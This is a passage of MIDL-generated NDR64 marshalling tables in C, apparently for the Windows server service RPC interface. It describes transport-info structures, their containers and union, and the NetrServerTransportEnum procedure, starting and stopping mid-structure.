0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag611\n        },\n        &__midl_frag610,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag608_t __midl_frag608 =\n{ \n/* _SERVER_XPORT_INFO_3_CONTAINER */\n    { \n    /* _SERVER_XPORT_INFO_3_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_XPORT_INFO_3_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag620,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag607_t __midl_frag607 =\n{ \n/* *_SERVER_XPORT_INFO_3_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag608\n};\n\nstatic const __midl_frag606_t __midl_frag606 =\n{ \n/*  */\n    { \n    /* *SERVER_TRANSPORT_INFO_2 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag596\n    }\n};\n\nstatic const __midl_frag598_t __midl_frag598 =\n{ \n/* SERVER_TRANSPORT_INFO_2 */\n    { \n    /* SERVER_TRANSPORT_INFO_2 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SERVER_TRANSPORT_INFO_2 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 56 /* 0x38 */,\n        0,\n        0,\n        &__midl_frag618,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* SERVER_TRANSPORT_INFO_2 */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag596_t __midl_frag596 =\n{ \n/* *SERVER_TRANSPORT_INFO_2 */\n    { \n    /* *SERVER_TRANSPORT_INFO_2 */\n        { \n        /* *SERVER_TRANSPORT_INFO_2 */\n            0x46,    /* FC64_FORCED_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *SERVER_TRANSPORT_INFO_2 */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag598\n        },\n        &__midl_frag610,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag595_t __midl_frag595 =\n{ \n/* _SERVER_XPORT_INFO_2_CONTAINER */\n    { \n    /* _SERVER_XPORT_INFO_2_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_XPORT_INFO_2_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag606,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag594_t __midl_frag594 =\n{ \n/* *_SERVER_XPORT_INFO_2_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag595\n};\n\nstatic const __midl_frag593_t __midl_frag593 =\n{ \n/*  */\n    { \n    /* *SERVER_TRANSPORT_INFO_1 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag583\n    }\n};\n\nstatic const __midl_frag585_t __midl_frag585 =\n{ \n/* SERVER_TRANSPORT_INFO_1 */\n    { \n    /* SERVER_TRANSPORT_INFO_1 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SERVER_TRANSPORT_INFO_1 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 48 /* 0x30 */,\n        0,\n        0,\n        &__midl_frag618,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag583_t __midl_frag583 =\n{ \n/* *SERVER_TRANSPORT_INFO_1 */\n    { \n    /* *SERVER_TRANSPORT_INFO_1 */\n        { \n        /* *SERVER_TRANSPORT_INFO_1 */\n            0x46,    /* FC64_FORCED_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *SERVER_TRANSPORT_INFO_1 */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag585\n        },\n        &__midl_frag610,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag582_t __midl_frag582 =\n{ \n/* _SERVER_XPORT_INFO_1_CONTAINER */\n    { \n    /* _SERVER_XPORT_INFO_1_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_XPORT_INFO_1_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag593,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag581_t __midl_frag581 =\n{ \n/* *_SERVER_XPORT_INFO_1_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag582\n};\n\nstatic const __midl_frag580_t __midl_frag580 =\n{ \n/*  */\n    { \n    /* *SERVER_TRANSPORT_INFO_0 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag578\n    }\n};\n\nstatic const __midl_frag578_t __midl_frag578 =\n{ \n/* *SERVER_TRANSPORT_INFO_0 */\n    { \n    /* *SERVER_TRANSPORT_INFO_0 */\n        { \n        /* *SERVER_TRANSPORT_INFO_0 */\n            0x46,    /* FC64_FORCED_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *SERVER_TRANSPORT_INFO_0 */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag561\n        },\n        &__midl_frag610,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag577_t __midl_frag577 =\n{ \n/* _SERVER_XPORT_INFO_0_CONTAINER */\n    { \n    /* _SERVER_XPORT_INFO_0_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_XPORT_INFO_0_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag580,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag576_t __midl_frag576 =\n{ \n/* *_SERVER_XPORT_INFO_0_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag577\n};\n\nstatic const __midl_frag574_t __midl_frag574 =\n{ \n/* SERVER_XPORT_ENUM_UNION */\n    { \n    /* SERVER_XPORT_ENUM_UNION */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag610,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag576,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag581,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag594,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag607,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag573_t __midl_frag573 =\n{ \n/* _SERVER_XPORT_ENUM_STRUCT */\n    { \n    /* _SERVER_XPORT_ENUM_STRUCT */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_XPORT_ENUM_STRUCT */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag574\n        },\n        { \n        /* _SERVER_XPORT_ENUM_STRUCT */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag572_t __midl_frag572 =\n{ \n/* *_SERVER_XPORT_ENUM_STRUCT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag573\n};\n\nstatic const __midl_frag569_t __midl_frag569 =\n{ \n/* NetrServerTransportEnum */\n    { \n    /* NetrServerTransportEnum */      /* procedure NetrServerTransportEnum */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* InfoStruct */      /* parameter InfoStruct */\n        &__midl_frag573,\n        { \n        /* InfoStruct */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* PreferedMaximumLength */      /* parameter PreferedMaximumLength */\n        &__midl_frag928,\n        { \n        /* PreferedMaximumLength */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* TotalEntries */      /* parameter TotalEntries */\n        &__midl_frag928,\n        { \n        /* TotalEntries */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* ResumeHandle */      /* parameter ResumeHandle */\n        &__midl_frag624,\n        { \n        /* ResumeHandle */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag567_t __midl_frag567 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag913\n    },\n    { \n    /* *char */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag613\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag913\n    }\n};\n\nstatic const __midl_frag561_t __midl_frag561 =\n{ \n/* SERVER_TRANSPORT_INFO_0 */\n    { \n    /* SERVER_TRANSPORT_INFO_0 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SERVER_TRANSPORT_INFO_0 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        0,\n        0,\n        &__midl_frag567,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag554_t __midl_frag554 =\n{ \n/* _STAT_SERVER_0 */\n    { \n    /* _STAT_SERVER_0 */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* _STAT_SERVER_0 */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 68 /* 0x44 */\n    }\n};\n\nstatic const __midl_frag553_t __midl_frag553 =\n{ \n/* *_STAT_SERVER_0 */\n    0x21,    /* FC64_UP */\n    